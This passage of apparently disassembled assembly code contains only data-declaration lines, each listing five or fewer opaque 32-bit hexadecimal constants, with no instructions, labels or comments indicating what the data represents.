		dd 22C9B565h, 401A6F9Fh, 0BCA1DCF0h, 0EC21ED25h, 0E811FF0Eh
		dd 0F3B81410h, 34A06FCEh, 8D638F66h, 2E37E90Bh,	73E51860h
		dd 8EC60E18h, 4370F79h,	0C3B4F099h, 0A085B0BAh,	700AE6E8h
		dd 3271E4FCh, 4385DE80h, 0F729B7h, 6EDDE124h, 5301CB7Bh
		dd 4031F525h, 4BCEDA9Fh, 0FD39D35Fh, 4B235084h,	4E1E8ABAh
		dd 0E0D2FBB8h, 844E93Fh, 173901A1h, 132A834Ah, 4C222F3Fh
		dd 63245FF5h, 5C7F8CC1h, 85674100h, 0BE197502h,	0E5D0298h
		dd 6011F0D0h, 0F4314F5Eh, 142F17EDh, 0B6C0C84Dh, 0A11D8C9Bh
		dd 5EA83300h, 32EB3B76h, 9D20478h, 12F6195h, 0C82BF55Fh
		dd 0D13A3E21h, 2CD18BFBh, 2BB8E9Dh, 0E22635C2h,	752077D7h
		dd 0AC15E781h, 0E151AD25h, 212B6059h, 0F03FDD27h, 2901A97Eh
		dd 54A47BC1h, 0AD406BAEh, 0DC61C38Bh, 8D010934h, 73A8A975h
		dd 9D098435h, 0E915E0ADh, 87F33E4Eh, 0BCF2AB16h, 38DFD48Ch
		dd 0ADF35A19h, 5A248411h, 9D08C2E6h, 0A5941E39h, 94FE2621h
		dd 5E186A2Dh, 0F20B12E4h, 84E3C821h, 0BF1C29BDh, 10E10431h
		dd 0C86C9B7Eh, 342AC018h, 0AC5AB750h, 0C100DBB2h, 0BA8B0DBCh
		dd 24EB8D29h, 45B95BC8h, 5348BB80h, 98113772h, 0FF41967h
		dd 84019A50h, 75B95FF3h, 9B6E4CA1h, 0A4E180AFh,	6BF098Ah
		dd 79D7F8FBh, 1AE86256h, 0FDA30282h, 0CB795E22h, 7740DB4Dh
		dd 3EF2BE3h, 6F809A7Bh,	6822DA8Bh, 78FC61F1h, 0A52AC9BDh
		dd 955364DBh, 0E6004844h, 0BBEFEB36h, 5E8023h, 4709E2DEh
		dd 0A6D23F48h, 9DC2D43Eh, 0EDE52B79h, 2AB5A795h, 64E49200h
		dd 5EBD38D4h, 826CC4F3h, 0BD7D61AAh, 0E2068015h, 8DCFA161h
		dd 99F81D06h, 923880Dh,	1830BB66h, 0D8128F7Bh, 27538BF3h
		dd 3A7CC002h, 0CC512970h, 0B5432303h, 0F84B9839h, 7AE80207h
		dd 21AD642Bh, 5B1252D4h, 6BF572F2h, 1920002Dh, 0ECD9D6B3h
		dd 7F013B6h, 0B813A950h, 84210EF6h, 40498346h, 4C404A76h
		dd 0E8070C2Fh, 0FAA20086h, 0FCA3C9ECh, 0ED04AE7Eh, 0CED2D7ABh
		dd 129108AFh, 9FF25F12h, 43A56B88h, 0B80E8491h,	0C03F9E12h
		dd 63A239D2h, 649D25B6h, 279C90EEh, 0A47C07D4h,	51932BC7h
		dd 0D878039Fh, 0CC92F5BDh, 6F2ACC97h, 0F392CBE1h, 7DE18C97h
		dd 0EBDF0C81h, 0F30CBD8Ch, 72079B09h, 46807915h, 69033E3h
		dd 0E795057Ch, 619A11ACh, 5CEFBC4Ch, 3C296B61h,	723810B8h
		dd 96880DC6h, 523FE0A8h, 25A4B982h, 5D7AE2DAh, 0A125FB9Bh
		dd 5D80E61Bh, 0DB5A4834h, 5AAA8616h, 120D5E7Eh,	0A97FA248h
		dd 1F712F0h, 3254D8E7h,	6322D73Bh, 1B3A00F3h, 0B4270982h
		dd 3854072Eh, 0B281213Dh, 25E66083h, 0ED679912h, 82B0B3EFh
		dd 0CB61B589h, 5E5BA266h, 640967ACh, 44DEA115h,	424DA5FEh
		dd 78C9CD1Ah, 3FA62E6Ah, 0B7C0EAF3h, 68056BE4h,	0A672ECA4h
		dd 152EFCCh, 0E7E68EFDh, 80817841h, 0AC175B78h,	121DBF59h
		dd 0B6447F51h, 3116B211h, 0F5F8F830h, 6472ED95h, 0CA206018h
		dd 8E2B2774h, 893F908h,	0E9091F3Dh, 5710776Bh, 0EE950BFDh
		dd 8FBB0F7Fh, 0F3920E9Fh, 0BFDB4A0Ch, 664AE083h, 7BFB8625h
		dd 2743267Eh, 0B90477D2h, 1ECF34BBh, 807460AFh,	895F17E7h
		dd 9802256Fh, 38B7DEB1h, 0D540005Ch, 1660BCBEh,	0A08ECC45h
		dd 7E821601h, 97942A85h, 35B7D5h, 9FA4159h, 8997B74Fh
		dd 0DBBA8303h, 0F82BFF96h, 22334212h, 20C906Ah,	0EBAE6968h
		dd 0DA80605Ah, 0CCEDF6BEh, 80958690h, 0F4AD96C3h, 780A935Ah
		dd 2216BF7Ah, 8DF262EAh, 9DFEEC1Ch, 0E30A128Dh,	0BF6604C4h
		dd 3BE12343h, 0FDFDF00h, 126C9731h, 13E922h, 805396B5h
		dd 0ACF3A82Eh, 79924900h, 60C4E2FBh, 0E0040CFDh, 503661CCh
		dd 0BCAF904Dh, 614897D1h, 0B893E94Dh, 99127624h, 6127DEACh
		dd 0DC700953h, 3323065Ch, 52F586F2h, 95121520h,	0F2CCB96h
		dd 6040768Ah, 0B60DB533h, 608B247Ah, 0FBA081C4h, 21FE3B07h
		dd 8290F4FCh, 25BBB34Ch, 0E865615Fh, 0C8E75412h, 271075B0h
		dd 4BA4054Ch, 38024E4h,	72B3E6C7h, 0A78440E9h, 79A5A0B9h
		dd 8B2338F4h, 0FEC2E725h, 0D2541D57h, 4D4EE7Ch,	0BB5088BAh
		dd 97E0E162h, 0CB05FE06h, 26CE04D5h, 4B978511h,	9E215B20h
		dd 0E31E2924h, 29DD69F7h, 0C066CDDFh, 0E9DEC721h, 990B622Fh
		dd 0BDE056C8h, 4A8D924Dh, 0B458F65Fh, 0F0E8FD70h, 65E30019h
		dd 0F3C09DBAh, 1A97F5C4h, 697EFE4Ah, 35E9375Ch,	0C7AD8055h
		dd 0B689C5Ah, 0D4859D25h
		dd 8F0F8BDCh, 0C7683DFCh, 4D268C24h, 0B39412DEh, 0B265A6E3h
		dd 2BEE3017h, 0DA34824h, 25EDF12Fh, 169798F8h, 51359F0Ch
		dd 0DF82312h, 0F71CB512h, 0F844A07h, 6BD200B9h,	0CB83031Eh
		dd 9C0FE889h, 3DC88AEEh, 0FDAE0053h, 0FF30B172h, 179A97F0h
		dd 37B7FFh, 7FD023CBh, 89209D09h, 0BB51011Bh, 2955AE86h
		dd 0D921385Fh, 92EF8E8h, 0D970FCFAh, 0B0098F9Eh, 59D873B1h
		dd 25481816h, 0CAC2FD76h, 3C078CFh, 27896417h, 715901BDh
		dd 118F0F0Fh, 523AF924h, 31F35D5h, 499ADA14h, 0CFB63580h
		dd 59B7482Ch, 0C505A90Bh, 0BC6DA5B0h, 0B6EAFE40h, 589E62B3h
		dd 0B0B0AADh, 97560E63h, 0FFB70302h, 0C4A14D5Bh, 7AF06019h
		dd 6C8E1763h, 0A63D0433h, 0C4BBB8FCh, 0ECBE8529h, 9BCA4ADFh
		dd 85042A21h, 604C16D9h, 8A396102h, 7660DCE5h, 0F764695h
		dd 7C53B266h, 0B5F87889h, 12830570h, 0E201D90Ch, 0B013B874h
		dd 5669F0Ch, 0FFFB3904h, 1410595h, 591ADDBDh, 0F3FA4238h
		dd 56CF6B5Ch, 0BAFBC8h,	0C63A4243h, 0A8FCD598h,	9A50A100h
		dd 1B635D57h, 7A149761h, 0DD2A3445h, 0C0415A6Dh, 15FD2326h
		dd 33773BD5h, 0C6A6258Ah, 0AA54A5C4h, 494F5B25h, 0C99D5922h
		dd 0E8E9D7A2h, 2F7D5Ch,	8BAC501Dh, 781FB3C1h, 9F04296Fh
		dd 0FB8B7716h, 0EAD371B9h, 0D00E666Ah, 5084FD99h, 28FC251h
		dd 5FD5B721h, 0F4674338h, 0F22058B9h, 0AFB1725Fh, 186E2Fh
		dd 0FE114632h, 4A07483Fh, 0E4292038h, 1B3CDF55h, 0F73CA531h
		dd 0B525966Ch, 9528FAB1h, 4B40DA4Fh, 0AD64958h,	0CAD028A7h
		dd 12417A1h, 95310633h,	1257CE91h, 10C0F466h, 0FC902717h
		dd 0A8FEC51Dh, 84885AAFh, 2B6B00D8h, 58B79C17h,	0D2904215h
		dd 310F5B12h, 1802DD4h,	645A6CB6h, 0EF900458h, 0D53F1E6Eh
		dd 15BEC9Dh, 7FF73ADDh,	6A69EC80h, 0ADE237B7h, 0F5601DF0h
		dd 59BD033Eh, 0E4F39D0Bh, 0EA8D37Ah, 3C80BB60h,	0F1CD2045h
		dd 0B509C217h, 60AC2724h, 0E078B6D3h, 328D89D2h, 0D1B11F95h
		dd 9495EA58h, 7B964B5Fh, 97070012h, 6A53A0A9h, 9835127Ah
		dd 791A091Ah, 0CD256273h, 3F45472Bh, 0E692C4C0h, 0E92212F3h
		dd 0EF9D0708h, 0E152C9FDh, 20902794h, 0E607BF3Bh, 5B3C3168h
		dd 7014F399h, 5902987Ah, 7D27B8DCh, 0E085DFBFh,	12B18A1Ch
		dd 70B88FE9h, 622EE1h, 0D20C880Fh, 8160FE1Bh, 821F5D95h
		dd 32B3077Fh, 78EB736Bh, 4305BC0Fh, 1F18ADCh, 831CB2E2h
		dd 0E5EA1CD8h, 78B54146h, 54121484h, 8516EC74h,	0B3F3529Dh
		dd 10894B48h, 183F33Ah,	37E61EB1h, 22E90A5h, 53605040h
		dd 0B858E740h, 12C2670Eh, 9B90EA01h, 71297909h,	0BE604027h
		dd 0A02C6324h, 0BB60CD15h, 698A1EADh, 9056404Bh, 60694D52h
		dd 837B66E8h, 9B1A6502h, 0D5FA8B90h, 0F85CF7CCh, 816A3D6Bh
		dd 1F6BE381h, 0C7610515h, 0DEBB8504h, 9C0812Bh,	0AF41AFF5h
		dd 8A2B0801h, 31FE344Ah, 1F5AD730h, 0B9652DC0h,	640FAD0h
		dd 8EB0505Bh, 558E006Ah, 8970E677h, 59B5D5BDh, 0AC501606h
		dd 0D381C0FFh, 63989012h, 2D8DA82Eh, 25D22D4Ah,	39682CC0h
		dd 0EC0B2140h, 0B00DD2B1h, 8016601Ch, 34AB81DEh, 0EDEA1728h
		dd 9EB45AA3h, 1F164365h, 7265D380h, 0DF810454h,	0B82B5118h
		dd 3B15C444h, 0A0688681h, 0A3606DFDh, 57176679h, 955A10D1h
		dd 5E581FE7h, 0BF06B45Eh, 0F8FA280Dh, 4E7CE66h,	298531D5h
		dd 0DCE7AC27h, 92F98A2h, 41E9862Eh, 0D1251C44h,	0E948761Fh
		dd 2C11E051h, 0EC95091Fh, 0F2DAB97Fh, 0A58314E3h, 3FE1D1Bh
		dd 826C7AA5h, 5756008Ch, 9AACB81h, 5F41F03Fh, 180BE85Bh
		dd 0F4A274EFh, 0D1239A07h, 1367684h, 5668A244h,	0E835E900h
		dd 0BF0082A8h, 0E17FFE51h, 0B5A2C0E6h, 0EC76E8E2h, 263D8740h
		dd 23C701Fh, 5688406Eh,	0F3A012B9h, 0EA6DF781h,	513FDD2Eh
		dd 59270909h, 8BD92DCAh, 80056527h, 758C937Bh, 242ECE03h
		dd 0A508360Eh, 0FC5F0501h, 2BEB8180h, 0F28B66C0h, 70B8F76Dh
		dd 177B86E7h, 38CE8852h, 71FD4BBAh, 0EC0431ECh,	0FE659FCEh
		dd 7AF6EDACh, 954BC770h, 0FEE17EA6h, 6BD22F1Bh,	8D010030h
		dd 548A2675h, 25FB49CEh, 31C4F671h, 6442B703h, 1699C10Ah
		dd 0B592B81Bh, 0AAA8FCBDh, 7672E005h, 8AF7487h,	0F5120B1Dh
		dd 6BD6A4B9h, 4A3F7AACh, 9F060032h, 0F9E5482Dh,	0E59D5B0Bh
		dd 232F2B9Ch, 0ACABF94Eh, 171E0A5h, 0E8E7074Dh,	39FE8A5Ah
		dd 57AB890h, 5256ABE6h,	0B967AAC9h, 440C7119h, 0D210ED6Fh
		dd 99B8F4h, 9DACC74Fh, 0D1411E52h, 26A1BA3Fh, 3C40C9E8h
		dd 0BF19EE4h, 5C4EB8CDh, 192D3107h, 60826D7Bh, 6A598529h
		dd 6EADDE7Ah, 2DEDE2B7h, 2BF7361h, 0E1FFD88Bh, 0B770497Bh
		dd 0E0F04C7Ah, 0E2915912h, 9EA29F10h, 0BB38DC47h, 0C53BA50Bh
		dd 82DF1023h, 1E2D318Dh, 82F9645h, 60181A06h, 972FF50Eh
		dd 4D2D13D3h, 96DF4971h, 20F95A6Ah, 0ACD5BD0h, 3C098978h
		dd 703E3A4Ah, 73D9A033h, 2B2497B1h, 23604E11h, 0E16853B8h
		dd 0B5606146h, 2F189955h, 9CF9839Ah, 0CCBADE25h, 84121DAh
		dd 0BFD5602Ah, 0CA13D9C5h, 0A3AA9018h, 50F80B73h, 5FBF8753h
		dd 8FAC37E9h, 7DA0ABE7h, 0D3E7569h, 0B608655Ah,	2EED4B05h
		dd 0C04D76C9h, 95924ABFh, 8A68143Ch, 0A611EC04h, 508DE509h
		dd 7F41EC6h, 20B9EEF3h,	0CB801235h, 244CA3C4h, 9968000Bh
		dd 2D2EFD08h, 546359h, 0AF0BF75h, 0FE9270Dh, 0DB7A024Bh
		dd 0D3827500h, 55113F9Dh, 24167A12h, 0AD4A08E3h, 255CB802h
		dd 21CDFC6Ah, 0E2621464h, 4078FA40h, 62201A97h,	9629F715h
		dd 0BBC01756h, 0F989767Ch, 9B2302Fh, 89952D9Dh,	59F35311h
		dd 0E0181Ah, 0C10AF522h, 0BD316FD6h, 59059125h,	8BFB25FDh
		dd 1222870h, 5874BB96h,	7E500F82h, 24B48220h, 28D724Ch
		dd 9FB55104h, 0C75656C2h, 96145B67h, 0B3E091B6h, 6C05CAC8h
		dd 780AF2EFh, 0AEB7F2D1h, 0FFDD022Eh, 9296AB5h,	0B56B7AF1h
		dd 0BB0044E5h, 6D8C32E4h, 0B7339850h, 614ABC72h, 607761E3h
		dd 53BF898Bh, 1179DE27h, 7014DBE1h, 96C05FF9h, 0A51AD108h
		dd 1540AFD6h, 39036Eh, 0C250B991h, 0B5A0FB47h, 52681806h
		dd 2749373Bh, 0DE6D585Bh, 0CA761FC1h, 64FA96C4h, 0B8DF4EB8h
		dd 33F0D791h, 0EA698329h, 41965A20h, 43273FD0h,	0E6AA9F40h
		dd 80AE001Bh, 0AD67D933h, 0DCA12612h, 48226C61h, 1B0D1616h
		dd 0BBB59DE8h, 0FDC0E3DAh, 0A735F3DFh, 9921813Fh, 79646164h
		dd 0A039AB15h, 0B5C50530h, 239A7EC7h, 0DC32FE27h, 53E9E128h
		dd 1F569882h, 0A7D4C975h, 4DE38160h, 35712F8Eh,	0CC009C37h
		dd 0B1F9096Ch, 3AC73B4Dh, 9268F24h, 2A710BB9h, 0A042CC2h
		dd 19B508BCh, 0D0BE082Fh, 95041658h, 80D135FBh,	46ECC87Eh
		dd 0FEA89125h, 5FDA0B3Bh, 156485EDh, 25F43261h,	4A6B689Bh
		dd 0DA2F4CDDh, 0A0098393h, 53A1E4F3h, 0DA6AEE25h, 0C414C8A4h
		dd 0D261B85Eh, 915034B0h, 52A680E7h, 5D62D3B9h,	2A04F9E0h
		dd 0D2167021h, 9B4A47B8h, 28A08340h, 0A0CBF3D3h, 0AC6BB6AEh
		dd 9D2B09B9h, 287323CDh, 0D529A8A0h, 35497D1Eh,	69A5801Ah
		dd 0F07C560Dh, 5F2C2D7Ah, 0C1CBE6Bh, 4831C6E5h,	172D582Bh
		dd 0BEB03E73h, 4E0C3FC1h, 560C320Eh, 81AE1855h,	0DEDD09CFh
		dd 0E356744Fh, 0FF537AFh, 48CA25ECh, 20500BBDh,	6C7080D3h
		dd 0F0501CDh, 0DCB35FDBh, 0D9133B9Ah, 2CB77C12h, 3FACEA4Dh
		dd 25F7D15Ch, 59AF0919h
		dd 9D8B8431h, 0CC52BF59h, 25D2CFDBh, 7ED12926h,	277356Ah
		dd 23DA2F8Ah, 8385E391h, 6E2AFEFFh, 0B3C2C483h,	0C75EC10h
		dd 0E0BB500Eh, 853E6704h, 0DF9BBB9Ah, 8B346AC1h, 936038F8h
		dd 5BA972AEh, 91BBB5D5h, 4ECB811Ah, 0ABD0F50Dh,	0A2799F45h
		dd 43E78800h, 13B97D9h,	0E06A111Ah, 2B5BEF32h, 0ACA0198Ah
		dd 0CB055DAFh, 0B56AB4D3h, 0EC4B9AB2h, 7490279h, 5C40EC23h
		dd 2F485188h, 2E04CB7Bh, 0C7BA0E07h, 0B1D24AAh,	0F96D9196h
		dd 4CBD0E06h, 1FAFF516h, 11F9DAAFh, 40526A96h, 0B78440B9h
		dd 0D282B85Eh, 29B16404h, 8AC682B9h, 0FA5A42DCh, 0DA4F1FE7h
		dd 8EC080F2h, 0BD4C0313h, 3A99A960h, 668D0F27h,	8AD84B29h
		dd 3E5C219Ah, 72095DAFh, 5BA7A05Bh, 5B9650DFh, 0DF2AFAEAh
		dd 0C65F9256h, 6600717Ah, 725F940Ah, 654C456Bh,	22A91239h
		dd 0EFD0C2E3h, 0E940C53Fh, 0BF84804Bh, 0B9B84FE9h, 75502266h
		dd 0AFBB0071h, 8B64798Fh, 9D1303C1h, 2DFA122Dh,	0A8E83D71h
		dd 1A8D007Ah, 0FB025B33h, 9048F0DDh, 0E2A89345h, 215B6880h
		dd 401C7B7h, 0CF89D862h, 4D249FE5h, 0CAA201BFh,	0F8901E96h
		dd 0CAF63A6Ah, 0ADF93CF1h, 31DF213Ah, 53BCF80h,	0EA714746h
		dd 7A800D9Eh, 0AA72EC15h, 0C22F3B25h, 709773B4h, 5400B2A1h
		dd 0D82538ACh, 10239882h, 481E519Dh, 0CBD104C4h, 42AE4F44h
		dd 6AFBB7C5h, 804A377Dh, 66B78AF2h, 42D37598h, 9D33FC60h
		dd 8B014B0Dh, 2F6A4E99h, 8057F302h, 8F5C5FC7h, 81732967h
		dd 0D165042Dh, 0B838C380h, 2A46A273h, 233D084Fh, 4D4A8D20h
		dd 0EC02484Ah, 0CF121B24h, 60C829E1h, 0F15F7161h, 0E0ABA62Ah
		dd 2326175h, 963B13E6h,	235CD449h, 513C26C4h, 0B3407141h
		dd 95071CE1h, 0F978E273h, 1C14023Bh, 665177D3h,	0B61F556h
		dd 0D5241DBDh, 0F88A1D90h, 5AA12850h, 175CB7CFh, 6CA4B99Dh
		dd 20F625BFh, 1FFDD462h, 811791E2h, 0D3E866C7h,	532189D9h
		dd 0B35F6392h, 44B77DD6h, 9F6A7D1Fh, 310277B7h,	0C0D53796h
		dd 0D70C3536h, 2DE2BCCBh, 307A9044h, 2F797F56h,	0FD749893h
		dd 731DD660h, 0FA743Dh,	0DBBF29CFh, 585FBA6Fh, 41B2D3Bh
		dd 5B4A787Ah, 3A84F7ADh, 76BD1601h, 0C05C5C4h, 1D910B0h
		dd 0A5BB70E6h, 4167FBDDh, 1AFDB8h, 0FC6671E4h, 0F8E95BD3h
		dd 25018AA3h, 59178909h, 8D502FDEh, 0C136BA54h,	5EF2FAB7h
		dd 0A034E882h, 7D8966h,	0AD724121h, 0EA49F4AFh,	5EE38C95h
		dd 0ED1A4E51h, 0B93824Ch, 0E2C25E43h, 0E2824A99h, 2B200FE5h
		dd 0F851C8h, 0BFD18B5Bh, 0EAA04E4h, 9D315709h, 317372B5h
		dd 605B20E9h, 75A5F10Bh, 36206E11h, 4D3DECh, 0D635A07Bh
		dd 0DABCB8BBh, 9C3FB200h, 97F28A5Fh, 2563BCEAh,	0EA6BD7Eh
		dd 21751A60h, 0B3FD0049h, 0D38C47Ah, 1997E72Fh,	482EF920h
		dd 5297221Bh, 532D514Ah, 0B3DC5517h, 0A19700CFh, 31A6A9A5h
		dd 7B01BAD3h, 0C1FDB7A7h, 0A33BBEC7h, 381A4D5Bh, 338A4B2Dh
		dd 0D4C8B31Eh, 0E05A16A5h, 7DC55D5Bh, 6B489589h, 2462800Dh
		dd 0F0421122h, 78C93301h, 0D32B87B3h, 5733612Eh, 0F61305F9h
		dd 6A7CE0AEh, 5BDEE89Eh, 8420BC3Ah, 6FAB1759h, 916233Ah
		dd 445C94F8h, 62E1DF17h, 0A8B9A98Eh, 2AFE696h, 6D589F8Bh
		dd 16285CF4h, 6527EF29h, 71B75379h, 83A27BEFh, 22A1DA62h
		dd 92C02B03h, 0EF5DEDD2h, 0CC5F8EC0h, 2B169308h, 89ADADBFh
		dd 248C14FCh, 2D638026h, 0DE1626Dh, 2D312515h, 8C2A1BE1h
		dd 0CF1681E7h, 0C7B6D6EDh, 4AEF127Bh, 0B2D2B635h, 2898331Dh
		dd 0BFA5165h, 4AFE2201h, 85896034h, 9295F3Ah, 802B5995h
		dd 95746F54h, 1E2445B5h, 56A60542h, 148251ACh, 6AA1C3C2h
		dd 9FE55A6Ch, 6178365Bh, 4AD6FC7Bh, 0B2B6A6F4h,	45C0301Dh
		dd 92B06C00h, 0B7D7363Ah, 0F38004ADh, 0FBBD098Bh, 0E1FFF691h
		dd 0C7F0CC26h, 0C796F943h, 11BF4525h, 9F502CFBh, 36321160h
		dd 0A164025Fh, 0A9B589B4h, 0EEF55570h, 0F451B556h, 0E0CAE615h
		dd 0BB59703h, 8B496705h, 0AC2F52A4h, 52FEE4D7h,	6EBFBCh
		dd 0F0450C00h, 0F4DCB5FCh, 14D6E40Bh, 70187B60h, 6C50B4FDh
		dd 154B998Eh, 722D1499h, 9204D6A8h, 500A54D0h, 262045B8h
		dd 0B5B25F5Ah, 88296D11h, 976A419h, 91532ABDh, 31FD48B1h
		dd 3E75DD6Ah, 4900526Eh, 72C8AB10h, 0A690F9AEh,	7C1F2BB5h
		dd 54260944h, 0B7D74662h, 55CE0B0Dh, 0BFFEAE04h, 92CC8C2h
		dd 0FA12D75Eh, 0FE8B90A0h, 31590968h, 6EE057A7h, 0FE48DBBh
		dd 3573F5h, 0BC0B4EA1h,	0E68E74BFh, 0C9570016h,	315E7D54h
		dd 7C097AFBh, 70585AB4h, 32A6090Ah, 2B3757B8h, 42E9FE80h
		dd 7FA53658h, 153D3138h, 7F96FC98h, 0D1FE7662h,	64900008h
		dd 8E3ABAB0h, 0C480A525h, 756DB52Dh, 0EF5D2BE0h, 0DA1E0B3Dh
		dd 0B1F5A9ECh, 17249EFEh, 84CC4BB3h, 0C57BEE12h, 59D23800h
		dd 6F2262F6h, 0E0F59B27h, 97214B16h, 0CD5F1D1Ah, 0A79AC017h
		dd 9013BBCh, 0F88B60FCh, 342E61F9h, 1C30BF23h, 55EF65h
		dd 49CC4E28h, 910A2572h, 5E4B242Dh, 0CECB1AF0h,	0B92AC404h
		dd 0B89BD73Bh, 0EBE2A080h, 0B017D1Bh, 117FD05h,	0D62E959Dh
		dd 0FFF10461h, 0E26FAEDCh, 9F001523h, 0F9BD29F2h, 0B0599526h
		dd 30BCBB80h, 0BD8B0F50h, 39975518h, 0C924D0B6h, 0AD001DEh
		dd 38FEA05Eh, 75A342B7h, 1B28ABD4h, 67BDB5h, 548C6836h
		dd 5FF0929Ch, 73C9C095h, 6D822EAFh, 0B66E0258h,	0D9567534h
		dd 5225A668h, 20504AF5h, 0D50C4522h, 3C881826h,	0B0BFF980h
		dd 95305928h, 0CB6DC4BAh, 28853560h, 0C9F61F5Eh, 752089C5h
		dd 0D5D302D7h, 2F9E5522h, 0BDC36BCh, 8C0F0BB1h,	45A5C179h
		dd 1F0B1812h, 0A516CF80h, 80C81EE9h, 0CA9D95DAh, 0B54A4072h
		dd 625D8225h, 509C549Bh, 3BE10464h, 0AFC063DBh,	19D9DD1Ah
		dd 0E56C8A3Bh, 0A72CDB66h, 0F9044E31h, 293E845h, 0AA59DEF7h
		dd 0AA548D89h, 0EC2F95A8h, 915EB53Eh, 0F517C415h, 0A75EB5ACh
		dd 719A0002h, 6313EEC7h, 1F929531h, 0FADE19FCh,	0DAC7A992h
		dd 0B7A1312Bh, 0FB4770EFh, 0DE80269Ah, 0F6BC317Dh, 5994FBEBh
		dd 3B5B181Dh, 0F33FBF68h, 0ED4A2185h, 802CBCCFh, 4B6757D4h
		dd 0EF4869ECh, 0EB0093BFh, 0D6DD392h, 71460E12h, 31769D03h
		dd 2A2CC90Dh, 7B02007Ah, 17F8BB16h, 2B518B41h, 6EABB334h
		dd 56E00267h, 821DB1A9h, 2FDDC0h, 0D1B50953h, 5B1665BEh
		dd 1AB2E7A6h, 0DD3E9933h, 4AAFDED4h, 0A803849Fh, 0BC5A4DF2h
		dd 0B223669Dh, 3D959769h, 779F80F5h, 0CA09CF7Dh, 0BEED9312h
		dd 9A4EF0B7h, 0BC628714h, 1478D4F0h, 401E94BBh,	11B30263h
		dd 0B4766100h, 0EBBE6AEFh, 0C9100137h, 450E386Fh, 7302EAAh
		dd 469D8D01h, 52DA5E30h, 37F2EA80h, 0F83F2EBBh,	0BC8DCA9Fh
		dd 0D16F6Ah, 0E885F53Fh, 0BCF9BF08h, 8A01695Ah,	2A325D99h
		dd 27680DC9h, 353FE180h, 5C1C6BCBh, 0A1C03A20h,	0CD95293Ch
		dd 0E645B518h, 9D6E3270h, 0C24492D5h, 60C054F3h, 0D03F71BBh
		dd 95CA264Ah, 0AB484F35h, 5CC06A9Bh, 6096BF6Bh,	61FA839Dh
		dd 0AFA0C350h, 5EC97FA7h, 2E02DCEBh, 0EC8A99E7h, 8CDFD879h
		dd 9B84BF92h, 0C8FD130Bh, 226AFAB5h, 474EA500h,	5C65B577h
		dd 0C452DA25h, 7D390075h, 0BCCE8B11h, 840B7790h, 8244BFCCh
		dd 2B19A9h, 4E08BB5Bh, 541BDB25h, 1D46D6F5h, 49069300h
		dd 0F7E0D5E4h, 0CEFD2539h, 19DA98EEh, 282A3041h, 67E159D9h
		dd 8873B3FDh, 146F67BBh
		dd 0C3301596h, 0F966F925h, 59B5893Bh, 5BC62FD6h, 5BA3D09Eh
		dd 21CD82BFh, 98B45510h, 0B48EBF04h, 0D4AC84E9h, 3DFF204Ah
		dd 82252E7Ah, 0C8E569Eh, 0FEB0C18Bh, 0BEBB661Ch, 0BA6625h
		dd 6FE78052h, 81B7905Fh, 0EEBC52BDh, 51852509h,	71BD68C4h
		dd 0BD5EBC30h, 32BCAAh,	694DEBDCh, 0D8A93F25h, 40897640h
		dd 0BD362B2Fh, 12A80DE5h, 0AC0B7FBCh, 9595CD2Dh, 94FE2E20h
		dd 0B600FD0h, 0CCF049ABh, 9E61F530h, 30FA1ABBh,	800E408Bh
		dd 9A95DBF3h, 5E1F8933h, 0EFCC506Ch, 0C0485200h, 0E70F41B4h
		dd 0DDB0481h, 0AA5BE60Ah, 0BBDABC74h, 0F99CC5DEh, 0ED0682CEh
		dd 42BC0F55h, 565BAFE3h, 1670514Bh, 26A27ECh, 0B4002B37h
		dd 39AC03B3h, 206316F4h, 50A01C3Bh, 2890242Eh, 782DD41Fh
		dd 30BB0CD1h, 82195B0Eh, 0F99D684Eh, 0AEB0C466h, 1B006BE8h
		dd 96415DFDh, 98096607h, 0E904400Ah, 0BDF33B4Fh, 27FC684h
		dd 0F5699D01h, 0E8E45BE4h, 74569A95h, 0C750134Eh, 872D62DEh
		dd 0AB259D0Fh, 382ADF7Fh, 78E0A31Bh, 84139439h,	84FD938Bh
		dd 0A888BFB0h, 77540A2Eh, 0AFB8F32Fh, 0CF17AC35h, 0A500AFE2h
		dd 544C3DE5h, 0B2134E16h, 0A8B8318Bh, 640628Fh,	79C0E39Eh
		dd 0B27F3900h, 84289BD2h, 0FF6A2F5Fh, 0D278C473h, 382A0006h
		dd 9597E303h, 65208529h, 80F19918h, 8C5F2C0h, 0B572E292h
		dd 88BA2E16h, 30A14705h, 80439EFBh, 0DE8BAEEDh,	0EE1009BBh
		dd 0A45B35A9h, 12480411h, 251D2110h, 0D46B0h, 0CD705EDAh
		dd 0A5BD29C1h, 52E6BBCFh, 0E138AF18h, 71E4801Fh, 0D74004B4h
		dd 2C6DC0h, 0B38E2030h,	5E0C38DDh, 0DE4D3224h, 5BBFEB84h
		dd 0C476BEADh, 0AD60B739h, 548927BAh, 69795069h, 0E0D2A912h
		dd 0BD13C7B3h, 0B645251h, 93D766DDh, 0F76C09E8h, 0BF58D6FCh
		dd 3FD979A1h, 221D91D1h, 0A5C33009h, 34E6215Bh,	0BF65126h
		dd 5D025F6Eh, 0BF002B31h, 4C487B73h, 5910F135h,	7E804A2Ah
		dd 5179B509h, 1C410910h, 0C87F74B7h, 0F58812BEh, 0D436BE9h
		dd 9828F51h, 0D507F98Dh, 0D9D232CEh, 252275A2h,	0DF670B5Ch
		dd 1318A5D4h, 21BE31FEh, 3E8B606Fh, 88EA3EB1h, 0EEAF8764h
		dd 0B033FA1h, 72C0EF4Ch, 9C82F492h, 0E42F3071h,	40106F02h
		dd 29AB0F55h, 57EE2312h, 0C24B73B3h, 7055B99Ah,	0DC6A9E13h
		dd 0B51201E2h, 8FA80995h, 3582518Bh, 5F0716FDh,	4BD78190h
		dd 78EB1C5Bh, 173D2DB8h, 8A768B81h, 0A07F2BDEh,	2A4BC1FBh
		dd 0B5E3EBFDh, 6F0711A1h, 0FEF5E8E6h, 1E5D1D45h, 0E33B62CDh
		dd 0C14A7312h, 16A257A6h, 6970D731h, 69669CFCh,	0FE01CC44h
		dd 80D584EEh, 0A63F1810h, 67A302E3h, 56AB2107h,	7DF6E96Bh
		dd 0CD3700D4h, 7F85C2AEh, 0CA25456Eh, 2FEEDE29h, 8AE23CE5h
		dd 1589DFDDh, 60444651h, 0C118DEABh, 8E1A76EFh,	27652ADCh
		dd 7E480C5Bh, 3AE1B818h, 72F30B70h, 366A0797h, 2783C607h
		dd 59597977h, 9DD2299Dh, 0B152FD27h, 0E1FF0108h, 645D7860h
		dd 66E8311Fh, 24596189h, 47842h, 0FE9ACB81h, 651E2825h
		dd 4800E15h, 4F6FFB13h,	0BFBA7601h, 0FE3A6CC8h,	1B500F56h
		dd 0CB4EBD04h, 0A1B1604Bh, 894FD73Eh, 56C058CDh, 993F24Eh
